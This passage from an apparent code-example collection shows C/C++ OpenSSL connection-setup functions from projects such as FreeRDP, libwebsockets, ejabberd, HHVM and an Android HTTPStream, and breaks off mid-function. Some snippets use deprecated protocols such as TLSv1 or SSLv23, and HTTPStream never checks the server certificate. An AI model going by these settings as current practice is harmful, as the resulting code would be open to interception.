                ev_io_stop(sock->loop, &sock->w);
                if (sock->data.destroy) {
                    sock->data.destroy(sock->data.ptr);
                }
                return;
            }
            if (!SSL_set_fd(sock->ssl, sock->fd)) {
                ERR_print_errors_fp(stderr);
                SSL_free(sock->ssl);
                close(sock->fd);
                ev_io_stop(sock->loop, &sock->w);
                if (sock->data.destroy) {
                    sock->data.destroy(sock->data.ptr);
                }
                return;
            }
            EV_IO_RESET(sock->loop, &sock->w, EV_READ | EV_WRITE);
            return;
        }
    }
    if (sock->on_connect && sock->on_connect(sock) == -1) {
        if (sock->ssl) {
            SSL_shutdown(sock->ssl);
            SSL_free(sock->ssl);
        }
        close(sock->fd);
        ev_io_stop(sock->loop, &sock->w);
        if (sock->data.destroy) {
            sock->data.destroy(sock->data.ptr);
        }
        return;
    }
    sock->state = EVSOCK_STATE_ESTABLISHED;
    sock->rx.events = EV_READ;
    sock->tx.events = EV_WRITE;
    EV_IO_RESET(sock->loop, &sock->w, EV_READ | EV_WRITE);
}
Exemple #10
0
status_t HTTPStream::connect(const char *server, int port, bool https) {
    if (port < 0) {
        port = https ? 443 : 80;
    }

    Mutex::Autolock autoLock(mLock);

    status_t err = OK;

    if (mState == CONNECTED) {
        return ERROR_ALREADY_CONNECTED;
    }

    if (port < 0 || port > (int) USHRT_MAX) {
        return UNKNOWN_ERROR;
    }

    char service[sizeof("65536")];
    sprintf(service, "%d", port);
    struct addrinfo hints, *ai;
    memset(&hints, 0, sizeof(hints));
    hints.ai_flags = AI_ADDRCONFIG | AI_NUMERICSERV;
    hints.ai_socktype = SOCK_STREAM;

    int ret = getaddrinfo(server, service, &hints, &ai);
    if (ret) {
        return ERROR_UNKNOWN_HOST;
    }

    CHECK_EQ(mSocket, -1);

    mState = CONNECTING;
    status_t res = -1;
    struct addrinfo *tmp;
    for (tmp = ai; tmp; tmp = tmp->ai_next) {
        mSocket = socket(tmp->ai_family, tmp->ai_socktype, tmp->ai_protocol);
        if (mSocket < 0) {
            continue;
        }

        if (mUIDValid) {
            RegisterSocketUser(mSocket, mUID);
        }

        setReceiveTimeout(30);  // Time out reads after 30 secs by default.

        int s = mSocket;

        mLock.unlock();

        res = MyConnect(s, tmp->ai_addr, tmp->ai_addrlen);

        mLock.lock();

        if (mState != CONNECTING) {
            close(s);
            freeaddrinfo(ai);
            return UNKNOWN_ERROR;
        }

        if (res == OK) {
            break;
        }

        close(s);
    }

    freeaddrinfo(ai);

    if (res != OK) {
        close(mSocket);
        mSocket = -1;

        mState = READY;
        return res;
    }

    if (https) {
        CHECK(mSSL == NULL);

        if (mSSLContext == NULL) {
            SSL_library_init();

            mSSLContext = SSL_CTX_new(TLSv1_client_method());

            if (mSSLContext == NULL) {
                LOGE("failed to create SSL context");
                mState = READY;
                return ERROR_IO;
            }
        }

        mSSL = SSL_new((SSL_CTX *)mSSLContext);

        if (mSSL == NULL) {
            LOGE("failed to create SSL session");

            mState = READY;
            return ERROR_IO;
        }

        int res = SSL_set_fd((SSL *)mSSL, mSocket);

        if (res == 1) {
            res = SSL_connect((SSL *)mSSL);
        }

        if (res != 1) {
            SSL_free((SSL *)mSSL);
            mSSL = NULL;

            LOGE("failed to connect over SSL");
            mState = READY;

            return ERROR_IO;
        }
    }

    mState = CONNECTED;

    return OK;
}
Exemple #11
0
static ErlDrvSSizeT tls_drv_control(ErlDrvData handle,
			   unsigned int command,
			   char *buf, ErlDrvSizeT len,
			   char **rbuf, ErlDrvSizeT rlen)
{
   tls_data *d = (tls_data *)handle;
   int res;
   int size;
   ErlDrvBinary *b;
   X509 *cert;
   unsigned int flags = command;

   command &= 0xffff;

   ERR_clear_error();
   switch (command)
   {
      case SET_CERTIFICATE_FILE_ACCEPT:
      case SET_CERTIFICATE_FILE_CONNECT: {
	 time_t mtime = 0;
	 SSL_CTX *ssl_ctx = hash_table_lookup(buf, &mtime);
	 if (is_key_file_modified(buf, &mtime) || ssl_ctx == NULL)
	 {
	    SSL_CTX *ctx;

	    hash_table_insert(buf, mtime, NULL);

	    ctx = SSL_CTX_new(SSLv23_method());
	    die_unless(ctx, "SSL_CTX_new failed");

	    res = SSL_CTX_use_certificate_chain_file(ctx, buf);
	    die_unless(res > 0, "SSL_CTX_use_certificate_file failed");

	    res = SSL_CTX_use_PrivateKey_file(ctx, buf, SSL_FILETYPE_PEM);
	    die_unless(res > 0, "SSL_CTX_use_PrivateKey_file failed");

	    res = SSL_CTX_check_private_key(ctx);
	    die_unless(res > 0, "SSL_CTX_check_private_key failed");

	    SSL_CTX_set_session_cache_mode(ctx, SSL_SESS_CACHE_OFF);
	    SSL_CTX_set_default_verify_paths(ctx);
#ifdef SSL_MODE_RELEASE_BUFFERS
	    SSL_CTX_set_mode(ctx, SSL_MODE_RELEASE_BUFFERS);
#endif
	    /* SSL_CTX_load_verify_locations(ctx, "/etc/ejabberd/ca_certificates.pem", NULL); */
	    /* SSL_CTX_load_verify_locations(ctx, NULL, "/etc/ejabberd/ca_certs/"); */

	    /* This IF is commented to allow verification in all cases: */
	    /* if (command == SET_CERTIFICATE_FILE_ACCEPT) */
	    /* { */
	       SSL_CTX_set_verify(ctx,
				  SSL_VERIFY_PEER|SSL_VERIFY_CLIENT_ONCE,
				  verify_callback);
	    /* } */

	    ssl_ctx = ctx;
	    hash_table_insert(buf, mtime, ssl_ctx);
	 }

	 d->ssl = SSL_new(ssl_ctx);
	 die_unless(d->ssl, "SSL_new failed");

	 if (flags & VERIFY_NONE)
	    SSL_set_verify(d->ssl, SSL_VERIFY_NONE, verify_callback);

	 d->bio_read = BIO_new(BIO_s_mem());
	 d->bio_write = BIO_new(BIO_s_mem());

	 SSL_set_bio(d->ssl, d->bio_read, d->bio_write);

	 if (command == SET_CERTIFICATE_FILE_ACCEPT) {
	    SSL_set_options(d->ssl, SSL_OP_NO_TICKET);
	    SSL_set_accept_state(d->ssl);
	 } else {
	    SSL_set_options(d->ssl, SSL_OP_NO_SSLv2|SSL_OP_NO_TICKET);
	    SSL_set_connect_state(d->ssl);
	 }
	 break;
      }
      case SET_ENCRYPTED_INPUT:
	 die_unless(d->ssl, "SSL not initialized");
	 BIO_write(d->bio_read, buf, len);
	 break;
      case SET_DECRYPTED_OUTPUT:
	 die_unless(d->ssl, "SSL not initialized");
	 res = SSL_write(d->ssl, buf, len);
	 if (res <= 0)
	 {
	    res = SSL_get_error(d->ssl, res);
	    if (res == SSL_ERROR_WANT_READ || res == SSL_ERROR_WANT_WRITE)
	    {
	       b = driver_alloc_binary(1);
	       b->orig_bytes[0] = 2;
	       *rbuf = (char *)b;
	       return 1;
	    } else {
	       die_unless(0, "SSL_write failed");
	    }
	 }
	 break;
      case GET_ENCRYPTED_OUTPUT:
	 die_unless(d->ssl, "SSL not initialized");
	 size = BUF_SIZE + 1;
	 rlen = 1;
	 b = driver_alloc_binary(size);
	 b->orig_bytes[0] = 0;
	 while ((res = BIO_read(d->bio_write,
				b->orig_bytes + rlen, BUF_SIZE)) > 0)
	 {
	    //printf("%d bytes of encrypted data read from state machine\r\n", res);

	    rlen += res;
	    size += BUF_SIZE;
	    b = driver_realloc_binary(b, size);
	 }
	 b = driver_realloc_binary(b, rlen);
	 *rbuf = (char *)b;
	 return rlen;
      case GET_DECRYPTED_INPUT:
	 if (!SSL_is_init_finished(d->ssl))
	 {
	    res = SSL_do_handshake(d->ssl);
	    if (res <= 0)
	       die_unless(SSL_get_error(d->ssl, res) == SSL_ERROR_WANT_READ,
			  "SSL_do_handshake failed");
	 } else {
	    size = BUF_SIZE + 1;
	    rlen = 1;
	    b = driver_alloc_binary(size);
	    b->orig_bytes[0] = 0;

	    while ((res = SSL_read(d->ssl,
				   b->orig_bytes + rlen, BUF_SIZE)) > 0)
	    {
	       //printf("%d bytes of decrypted data read from state machine\r\n",res);
	       rlen += res;
	       size += BUF_SIZE;
	       b = driver_realloc_binary(b, size);
	    }

	    if (res < 0)
	    {
	       int err = SSL_get_error(d->ssl, res);

	       if (err == SSL_ERROR_WANT_READ)
	       {
		  //printf("SSL_read wants more data\r\n");
		  //return 0;
	       }
	       // TODO
	    }
	    b = driver_realloc_binary(b, rlen);
	    *rbuf = (char *)b;
	    return rlen;
	 }
	 break;
      case GET_PEER_CERTIFICATE:
	 cert = SSL_get_peer_certificate(d->ssl);
	 if (cert == NULL)
	 {
	    b = driver_alloc_binary(1);
	    b->orig_bytes[0] = 1;
	    *rbuf = (char *)b;
	    return 1;
	 } else {
	    unsigned char *tmp_buf;
	    rlen = i2d_X509(cert, NULL);
	    if (rlen >= 0)
	    {
	       rlen++;
	       b = driver_alloc_binary(rlen);
	       b->orig_bytes[0] = 0;
	       tmp_buf = (unsigned char *)&b->orig_bytes[1];
	       i2d_X509(cert, &tmp_buf);
	       X509_free(cert);
	       *rbuf = (char *)b;
	       return rlen;
	    } else
	       X509_free(cert);
	 }
	 break;
      case GET_VERIFY_RESULT:
	 b = driver_alloc_binary(1);
	 b->orig_bytes[0] = SSL_get_verify_result(d->ssl);
	 *rbuf = (char *)b;
	 return 1;
	 break;
   }

   b = driver_alloc_binary(1);
   b->orig_bytes[0] = 0;
   *rbuf = (char *)b;
   return 1;
}
Exemple #12
0
BOOL tls_connect(rdpTls* tls)
{
	CryptoCert cert;
	long options = 0;
	int connection_status;

	tls->ctx = SSL_CTX_new(TLSv1_client_method());

	if (tls->ctx == NULL)
	{
		fprintf(stderr, "SSL_CTX_new failed\n");
		return FALSE;
	}

	//SSL_CTX_set_mode(tls->ctx, SSL_MODE_ACCEPT_MOVING_WRITE_BUFFER | SSL_MODE_ENABLE_PARTIAL_WRITE);

	/**
	 * SSL_OP_NO_COMPRESSION:
	 *
	 * The Microsoft RDP server does not advertise support
	 * for TLS compression, but alternative servers may support it.
	 * This was observed between early versions of the FreeRDP server
	 * and the FreeRDP client, and caused major performance issues,
	 * which is why we're disabling it.
	 */
#ifdef SSL_OP_NO_COMPRESSION
	options |= SSL_OP_NO_COMPRESSION;
#endif
	 
	/**
	 * SSL_OP_TLS_BLOCK_PADDING_BUG:
	 *
	 * The Microsoft RDP server does *not* support TLS padding.
	 * It absolutely needs to be disabled otherwise it won't work.
	 */
	options |= SSL_OP_TLS_BLOCK_PADDING_BUG;

	/**
	 * SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS:
	 *
	 * Just like TLS padding, the Microsoft RDP server does not
	 * support empty fragments. This needs to be disabled.
	 */
	options |= SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS;

	SSL_CTX_set_options(tls->ctx, options);

	tls->ssl = SSL_new(tls->ctx);

	if (tls->ssl == NULL)
	{
		fprintf(stderr, "SSL_new failed\n");
		return FALSE;
	}

	if (SSL_set_fd(tls->ssl, tls->sockfd) < 1)
	{
		fprintf(stderr, "SSL_set_fd failed\n");
		return FALSE;
	}

	connection_status = SSL_connect(tls->ssl);

	if (connection_status <= 0)
	{
		if (tls_print_error("SSL_connect", tls->ssl, connection_status))
		{
			return FALSE;
		}
	}

	cert = tls_get_certificate(tls, TRUE);

	if (cert == NULL)
	{
		fprintf(stderr, "tls_connect: tls_get_certificate failed to return the server certificate.\n");
		return FALSE;
	}

	tls->Bindings = tls_get_channel_bindings(cert->px509);

	if (!crypto_cert_get_public_key(cert, &tls->PublicKey, &tls->PublicKeyLength))
	{
		fprintf(stderr, "tls_connect: crypto_cert_get_public_key failed to return the server public key.\n");
		tls_free_certificate(cert);
		return FALSE;
	}

	if (!tls_verify_certificate(tls, cert, tls->settings->ServerHostname))
	{
		fprintf(stderr, "tls_connect: certificate not trusted, aborting.\n");
		tls_disconnect(tls);
		tls_free_certificate(cert);
		return FALSE;
	}

	tls_free_certificate(cert);

	return TRUE;
}
Exemple #13
0
BOOL tls_accept(rdpTls* tls, const char* cert_file, const char* privatekey_file)
{
	CryptoCert cert;
	long options = 0;
	int connection_status;

	tls->ctx = SSL_CTX_new(SSLv23_server_method());

	if (tls->ctx == NULL)
	{
		fprintf(stderr, "SSL_CTX_new failed\n");
		return FALSE;
	}

	/*
	 * SSL_OP_NO_SSLv2:
	 *
	 * We only want SSLv3 and TLSv1, so disable SSLv2.
	 * SSLv3 is used by, eg. Microsoft RDC for Mac OS X.
	 */
	options |= SSL_OP_NO_SSLv2;

	/**
	 * SSL_OP_NO_COMPRESSION:
	 *
	 * The Microsoft RDP server does not advertise support
	 * for TLS compression, but alternative servers may support it.
	 * This was observed between early versions of the FreeRDP server
	 * and the FreeRDP client, and caused major performance issues,
	 * which is why we're disabling it.
	 */
#ifdef SSL_OP_NO_COMPRESSION
	options |= SSL_OP_NO_COMPRESSION;
#endif
	 
	/**
	 * SSL_OP_TLS_BLOCK_PADDING_BUG:
	 *
	 * The Microsoft RDP server does *not* support TLS padding.
	 * It absolutely needs to be disabled otherwise it won't work.
	 */
	options |= SSL_OP_TLS_BLOCK_PADDING_BUG;

	/**
	 * SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS:
	 *
	 * Just like TLS padding, the Microsoft RDP server does not
	 * support empty fragments. This needs to be disabled.
	 */
	options |= SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS;

	SSL_CTX_set_options(tls->ctx, options);

	if (SSL_CTX_use_RSAPrivateKey_file(tls->ctx, privatekey_file, SSL_FILETYPE_PEM) <= 0)
	{
		fprintf(stderr, "SSL_CTX_use_RSAPrivateKey_file failed\n");
		fprintf(stderr, "PrivateKeyFile: %s\n", privatekey_file);
		return FALSE;
	}

	tls->ssl = SSL_new(tls->ctx);

	if (!tls->ssl)
	{
		fprintf(stderr, "SSL_new failed\n");
		return FALSE;
	}

	if (SSL_use_certificate_file(tls->ssl, cert_file, SSL_FILETYPE_PEM) <= 0)
	{
		fprintf(stderr, "SSL_use_certificate_file failed\n");
		return FALSE;
	}

	cert = tls_get_certificate(tls, FALSE);

	if (!cert)
	{
		fprintf(stderr, "tls_connect: tls_get_certificate failed to return the server certificate.\n");
		return FALSE;
	}

	if (!crypto_cert_get_public_key(cert, &tls->PublicKey, &tls->PublicKeyLength))
	{
		fprintf(stderr, "tls_connect: crypto_cert_get_public_key failed to return the server public key.\n");
		tls_free_certificate(cert);
		return FALSE;
	}

	free(cert);

	if (SSL_set_fd(tls->ssl, tls->sockfd) < 1)
	{
		fprintf(stderr, "SSL_set_fd failed\n");
		return FALSE;
	}

	while (1)
	{
		connection_status = SSL_accept(tls->ssl);

		if (connection_status <= 0)
		{
			switch (SSL_get_error(tls->ssl, connection_status))
			{
				case SSL_ERROR_WANT_READ:
				case SSL_ERROR_WANT_WRITE:
					break;

				default:
					if (tls_print_error("SSL_accept", tls->ssl, connection_status))
						return FALSE;
					break;

			}
		}
		else
		{
			break;
		}
	}

	fprintf(stderr, "TLS connection accepted\n");

	return TRUE;
}
Exemple #14
0
LWS_VISIBLE int
lws_server_socket_service_ssl(struct libwebsocket_context *context,
		struct libwebsocket **pwsi, struct libwebsocket *new_wsi,
			int accept_fd, struct libwebsocket_pollfd *pollfd)
{
	int n, m;
	struct libwebsocket *wsi = *pwsi;
#ifndef USE_WOLFSSL
	BIO *bio;
#endif

	if (!LWS_SSL_ENABLED(context))
		return 0;

	switch (wsi->mode) {
	case LWS_CONNMODE_SERVER_LISTENER:

		if (!new_wsi) {
			lwsl_err("no new_wsi\n");
			return 0;
		}

		new_wsi->ssl = SSL_new(context->ssl_ctx);
		if (new_wsi->ssl == NULL) {
			lwsl_err("SSL_new failed: %s\n",
					ERR_error_string(SSL_get_error(new_wsi->ssl, 0), NULL));
			libwebsockets_decode_ssl_error();

			// TODO: Shouldn't the caller handle this?
			compatible_close(accept_fd);
			goto fail;
		}

		SSL_set_ex_data(new_wsi->ssl,
			openssl_websocket_private_data_index, context);

		SSL_set_fd(new_wsi->ssl, accept_fd);

#ifdef USE_WOLFSSL
#ifdef USE_OLD_CYASSL
		CyaSSL_set_using_nonblock(new_wsi->ssl, 1);
#else
		wolfSSL_set_using_nonblock(new_wsi->ssl, 1);
#endif
#else
		SSL_set_mode(new_wsi->ssl, SSL_MODE_ACCEPT_MOVING_WRITE_BUFFER);
		bio = SSL_get_rbio(new_wsi->ssl);
		if (bio)
			BIO_set_nbio(bio, 1); /* nonblocking */
		else
			lwsl_notice("NULL rbio\n");
		bio = SSL_get_wbio(new_wsi->ssl);
		if (bio)
			BIO_set_nbio(bio, 1); /* nonblocking */
		else
			lwsl_notice("NULL rbio\n");
#endif

		/*
		 * we are not accepted yet, but we need to enter ourselves
		 * as a live connection.  That way we can retry when more
		 * pieces come if we're not sorted yet
		 */

		*pwsi = new_wsi;
		wsi = *pwsi;
		wsi->mode = LWS_CONNMODE_SSL_ACK_PENDING;
		if (insert_wsi_socket_into_fds(context, wsi))
			goto fail;

		libwebsocket_set_timeout(wsi, PENDING_TIMEOUT_SSL_ACCEPT,
							AWAITING_TIMEOUT);

		lwsl_info("inserted SSL accept into fds, trying SSL_accept\n");

		/* fallthru */

	case LWS_CONNMODE_SSL_ACK_PENDING:

		if (lws_change_pollfd(wsi, LWS_POLLOUT, 0))
			goto fail;

		lws_libev_io(context, wsi, LWS_EV_STOP | LWS_EV_WRITE);

		lws_latency_pre(context, wsi);

		n = recv(wsi->sock, (char *)context->service_buffer,
			sizeof(context->service_buffer), MSG_PEEK);

		/*
		 * optionally allow non-SSL connect on SSL listening socket
		 * This is disabled by default, if enabled it goes around any
		 * SSL-level access control (eg, client-side certs) so leave
		 * it disabled unless you know it's not a problem for you
		 */

		if (context->allow_non_ssl_on_ssl_port) {
			if (n >= 1 && context->service_buffer[0] >= ' ') {
				/*
				* TLS content-type for Handshake is 0x16, and
				* for ChangeCipherSpec Record, it's 0x14
				*
				* A non-ssl session will start with the HTTP
				* method in ASCII.  If we see it's not a legit
				* SSL handshake kill the SSL for this
				* connection and try to handle as a HTTP
				* connection upgrade directly.
				*/
				wsi->use_ssl = 0;
				SSL_shutdown(wsi->ssl);
				SSL_free(wsi->ssl);
				wsi->ssl = NULL;
				goto accepted;
			}
			if (!n) /* 
				 * connection is gone, or nothing to read
				 * if it's gone, we will timeout on
				 * PENDING_TIMEOUT_SSL_ACCEPT
				 */
				break;
			if (n < 0 && (LWS_ERRNO == LWS_EAGAIN ||
				      LWS_ERRNO == LWS_EWOULDBLOCK)) {
				/*
				 * well, we get no way to know ssl or not
				 * so go around again waiting for something
				 * to come and give us a hint, or timeout the
				 * connection.
				 */
				m = SSL_ERROR_WANT_READ;
				goto go_again;
			}
		}

		/* normal SSL connection processing path */

		n = SSL_accept(wsi->ssl);
		lws_latency(context, wsi,
			"SSL_accept LWS_CONNMODE_SSL_ACK_PENDING\n", n, n == 1);

		if (n == 1)
			goto accepted;

		m = SSL_get_error(wsi->ssl, n);
		lwsl_debug("SSL_accept failed %d / %s\n",
						  m, ERR_error_string(m, NULL));
go_again:
		if (m == SSL_ERROR_WANT_READ) {
			if (lws_change_pollfd(wsi, 0, LWS_POLLIN))
				goto fail;

			lws_libev_io(context, wsi, LWS_EV_START | LWS_EV_READ);

			lwsl_info("SSL_ERROR_WANT_READ\n");
			break;
		}
		if (m == SSL_ERROR_WANT_WRITE) {
			if (lws_change_pollfd(wsi, 0, LWS_POLLOUT))
				goto fail;

			lws_libev_io(context, wsi, LWS_EV_START | LWS_EV_WRITE);
			break;
		}
		lwsl_debug("SSL_accept failed skt %u: %s\n",
					 pollfd->fd, ERR_error_string(m, NULL));
		goto fail;

accepted:
		/* OK, we are accepted... give him some time to negotiate */
		libwebsocket_set_timeout(wsi,
			PENDING_TIMEOUT_ESTABLISH_WITH_SERVER,
							AWAITING_TIMEOUT);

		wsi->mode = LWS_CONNMODE_HTTP_SERVING;

		lws_http2_configure_if_upgraded(wsi);

		lwsl_debug("accepted new SSL conn\n");
		break;
	}

	return 0;
	
fail:
	return 1;
}
Exemple #15
0
SSL *SSLSocket::createSSL(SSL_CTX *ctx) {
  ERR_clear_error();

  /* look at options in the stream and set appropriate verification flags */
  if (m_context[s_verify_peer].toBoolean()) {
    /* turn on verification callback */
    SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, verifyCallback);

    /* CA stuff */
    String cafile = m_context[s_cafile].toString();
    String capath = m_context[s_capath].toString();

    if (!cafile.empty() || !capath.empty()) {
      if (!SSL_CTX_load_verify_locations(ctx, cafile.data(), capath.data())) {
        raise_warning("Unable to set verify locations `%s' `%s'",
                      cafile.data(), capath.data());
        return nullptr;
      }
    }

    int64_t depth = m_context[s_verify_depth].toInt64();
    if (depth) {
      SSL_CTX_set_verify_depth(ctx, depth);
    }
  } else {
    SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, nullptr);
  }

  /* callback for the passphrase (for localcert) */
  if (!m_context[s_passphrase].toString().empty()) {
    SSL_CTX_set_default_passwd_cb_userdata(ctx, this);
    SSL_CTX_set_default_passwd_cb(ctx, passwdCallback);
  }

  String cipherlist = m_context[s_ciphers].toString();
  if (cipherlist.empty()) {
    cipherlist = "DEFAULT";
  }
  SSL_CTX_set_cipher_list(ctx, cipherlist.data());

  String certfile = m_context[s_local_cert].toString();
  if (!certfile.empty()) {
    String resolved_path_buff = File::TranslatePath(certfile);
    if (!resolved_path_buff.empty()) {
      /* a certificate to use for authentication */
      if (SSL_CTX_use_certificate_chain_file(ctx, resolved_path_buff.data())
          != 1) {
        raise_warning("Unable to set local cert chain file `%s'; Check "
                      "that your cafile/capath settings include details of "
                      "your certificate and its issuer", certfile.data());
        return nullptr;
      }

      if (SSL_CTX_use_PrivateKey_file(ctx, resolved_path_buff.data(),
                                      SSL_FILETYPE_PEM) != 1) {
        raise_warning("Unable to set private key file `%s'",
                      resolved_path_buff.data());
        return nullptr;
      }

      SSL *tmpssl = SSL_new(ctx);
      X509 *cert = SSL_get_certificate(tmpssl);
      if (cert) {
        EVP_PKEY *key = X509_get_pubkey(cert);
        EVP_PKEY_copy_parameters(key, SSL_get_privatekey(tmpssl));
        EVP_PKEY_free(key);
      }
      SSL_free(tmpssl);

      if (!SSL_CTX_check_private_key(ctx)) {
        raise_warning("Private key does not match certificate!");
      }
    }
  }

  SSL *ssl = SSL_new(ctx);
  if (ssl) {
    SSL_set_ex_data(ssl, GetSSLExDataIndex(), this); /* map SSL => stream */
  }
  return ssl;
}
Exemple #16
0
static void
evsock_accept_handler (struct evsock *sock) {
    struct evsock *nsock;
    int ret, err, opt;
    unsigned long e;

    if (sock->ssl) {
        ret = SSL_accept(sock->ssl);
        if (ret <= 0) {
            err = SSL_get_error(sock->ssl, ret);
            switch (err) {
            case SSL_ERROR_WANT_READ:
                EV_IO_RESET(sock->loop, &sock->w, EV_READ);
                return;
            case SSL_ERROR_WANT_WRITE:
                EV_IO_RESET(sock->loop, &sock->w, EV_READ);
                return;
            case SSL_ERROR_SYSCALL:
                e = ERR_get_error();
                if (!e) {
                    if (errno == EINTR || errno == EWOULDBLOCK || errno == EAGAIN) {
                        return;
                    }
                }
            default:
                fprintf(stderr, "SSL_accept: error\n");
                SSL_free(sock->ssl);
                close(sock->fd);
                ev_io_stop(sock->loop, &sock->w);
                if (sock->data.destroy) {
                    sock->data.destroy(sock->data.ptr);
                }
                return;
            }
        }
    } else {
        nsock = sock->on_pre_accept(sock);
        if (!nsock) {
            return;
        }
        nsock->peerlen = sizeof(nsock->peer);
        nsock->fd = accept(sock->fd, (struct sockaddr *)&nsock->peer, &nsock->peerlen);
        if (nsock->fd == -1) {
            perror("accept");
            if (nsock->data.destroy) {
                nsock->data.destroy(nsock->data.ptr);
            }
            return;
        }
        opt = 1;
        if (ioctl(nsock->fd, FIONBIO, &opt) == -1) {
            perror("ioctl");
            close(nsock->fd);
            if (nsock->data.destroy) {
                nsock->data.destroy(nsock->data.ptr);
            }
            return;
        }
        opt = 1;
        if (setsockopt(nsock->fd, SOL_TCP, TCP_NODELAY, &opt, sizeof(opt)) == -1) {
            perror("setsockopt");
            close(nsock->fd);
            if (nsock->data.destroy) {
                nsock->data.destroy(nsock->data.ptr);
            }
            return;
        }
        nsock->state = EVSOCK_STATE_ACCEPT;
        nsock->ctx = sock->ctx;
        nsock->loop = sock->loop;
        nsock->w.data = nsock;
        ev_io_init(&nsock->w, evsock_handler, nsock->fd, EV_READ | EV_WRITE);
        ev_io_start(nsock->loop, &nsock->w);
        nsock->on_accept = sock->on_accept;
        nsock->on_read = sock->on_read;
        nsock->on_write = sock->on_write;
        if (nsock->ctx) {
            nsock->ssl = SSL_new(nsock->ctx);
            if (!nsock->ssl) {
                ERR_print_errors_fp(stderr);
                close(nsock->fd);
                ev_io_stop(nsock->loop, &nsock->w);
                if (nsock->data.destroy) {
                    nsock->data.destroy(nsock->data.ptr);
                }
                return;
            }
            if (!SSL_set_fd(nsock->ssl, nsock->fd)) {
                ERR_print_errors_fp(stderr);
                SSL_free(nsock->ssl);
                close(nsock->fd);
                ev_io_stop(nsock->loop, &nsock->w);
                if (nsock->data.destroy) {
                    nsock->data.destroy(nsock->data.ptr);
                }
                return;
            }
            return;
        }
        sock = nsock;
    }
    if (sock->on_accept && sock->on_accept(sock) == -1) {
        if (sock->ssl) {
            SSL_shutdown(sock->ssl);
            SSL_free(sock->ssl);
        }
        close(sock->fd);
        ev_io_stop(sock->loop, &sock->w);
        if (sock->data.destroy) {
            sock->data.destroy(sock->data.ptr);
        }
        return;
    }
    sock->state = EVSOCK_STATE_ESTABLISHED;
    sock->rx.events = EV_READ;
    sock->tx.events = EV_WRITE;
    EV_IO_RESET(sock->loop, &sock->w, EVSOCK_NEED_EVENTS(sock));
}
Exemple #17
0
int main(int argc, char** argv){
    
    int sock = 0; // declaración del socket e inicializado a 0
    int error = 0; /** declaramos una variable que nos servirá para detectar
                    * errores
                    */
    socklen_t length = (socklen_t) sizeof (struct sockaddr_in); // tamaño del paquete
    struct sockaddr_in addr; // definimos el contenedor de la dirección
    unsigned int port = 5678; /** creamos la variable que identifica el puerto
                               * de conexión, siendo el puerto por defecto 5678
                               */
    int connPos = 0; // primera posición libre en el array de conexiones
    int connTam = 10; // tamaño actual del array de conexiones
    int connGrow = 10; // factor de crecimiento del array
    user* conn = NULL; // array de conexiones con los clientes
    room rooms[DIM];
    user auxConn;   // conexion auxiliar
    sms auxMsj;
    fd_set connList, connListCopy; // definimos un descriptor que contendrá nuestros sockets
    int nbytes = 0; // contador de bytes leidos y escritos
    int dbName = 0; // variable que nos permitirá configurar el nombre de la base de datos
    sqlite3* db = NULL; // descriptor de la base de datos

    char cert[DIM] = "cert"; // nombre del certificado del servidor
    char pkey[DIM] = "pkey"; // nombre del archivo con la clave privada

    // <editor-fold defaultstate="collapsed" desc="Interpretado de parámetros de entrada">
    //analizamos los parámetros de entrada
    int i = 0;
    for(; i < argc; i++){
        if(strcmp(argv[i], "-p") == 0){ // leemos el puerto
            if(argc <= i + 1 || isNum(argv[i+1]) == 0){
                perror("Se esperaba un número después de -p");
                exit(-1);
            }else{
                PDEBUG("ARGS: Se detectó un puerto\n");
                i++;
                port = atoi(argv[i]);
            }
            continue;
        }else if(strcmp(argv[i], "-ls") == 0){ // leemos el tamaño inicial de la lista
            if(argc <= i + 1 || isNum(argv[i+1]) == 0){
                perror("Se esperaba un número después de -ls");
                exit(-1);
            }else{
                PDEBUG("ARGS: Se detectó un tamaño inicial\n");
                i++;
                connTam = atoi(argv[i]);
            }
            continue;
        }else if(strcmp(argv[i], "-lg") == 0){ // leemos el factor de creciemiento de la lista de conexiones
            if(argc <= i + 1 || isNum(argv[i+1]) == 0){
                perror("Se esperaba un número después de -lg\n");
                exit(-1);
            }else{
                PDEBUG("ARGS: Se detectó un crecimiento\n");
                i++;
                connGrow = atoi(argv[i]);
            }
            continue;
        }else if(strcmp(argv[i], "-db") == 0){ // leemos el nombre de la base de datos que queremos utilizar
            if(argc <= i + 1){
                perror("Se esperaba una cadena depués de -db\n");
                exit(-1);
            }else{
                PDEBUG("ARGS: Se detectó un crecimiento\n");
                i++;
                dbName = i;
            }
            continue;
        }else if(strcmp(argv[i], "-cert") == 0){ // leemos el nombre del archivo del certificado
            if(argc <= i + 1){
                perror("Se esperaba una cadena depués de -cert\n");
                exit(-1);
            }else{
                PDEBUG("ARGS: Se detectó un certificado\n");
                i++;
                strcpy(cert, argv[i]);
            }
            continue;
        }else if(strcmp(argv[i], "-pkey") == 0){ // leemos el nombre del archivo de que contiene la clave privada
            if(argc <= i + 1){
                perror("Se esperaba una cadena depués de -pkey\n");
                exit(-1);
            }else{
                PDEBUG("ARGS: Se detectó una clave privada\n");
                i++;
                strcpy(pkey, argv[i]);
            }
            continue;
        }
    }
    //</editor-fold>

    db = db_open(
            (dbName == 0) ? "chat.db" : argv[dbName]
            );

    PDEBUG("INFO: Convertimos el proceso en un demonio\n");
    //make_daemon();


    /*******************************SSL****************************************/
    PDEBUG("INFO: Inicializando la libreria SSL\n");
    SSL_library_init();
    PDEBUG("INFO: Cargamos los algoritmos SSL y los mensajes de error\n");
    OpenSSL_add_all_algorithms();
    SSL_load_error_strings();
    PDEBUG("INFO: Seleccionamos SSLv2, SSLv3 y TLSv1\n");
    SSL_METHOD *method;
    method = SSLv23_server_method();
    PDEBUG("INFO: Creamos el nuevo contexto\n");
    SSL_CTX *ctx;
    ctx = SSL_CTX_new(method);
    if(ctx == NULL) { // error
        ERR_print_errors_fp(stderr);
        _exit(-1);
    }

    PDEBUG("INFO: Comprobando el certificado\n");
    if ( SSL_CTX_use_certificate_chain_file(ctx, cert) <= 0) {
        ERR_print_errors_fp(stderr);
        _exit(-1);
    }

    PDEBUG("INFO: Comprobando la clav eprivada\n");
    if ( SSL_CTX_use_PrivateKey_file(ctx, pkey, SSL_FILETYPE_PEM) <= 0) {
        ERR_print_errors_fp(stderr);
        _exit(-1);
    }

    PDEBUG("INFO: Comprobando que las claves pueden trabajar juntas\n");
    if ( !SSL_CTX_check_private_key(ctx) ) {
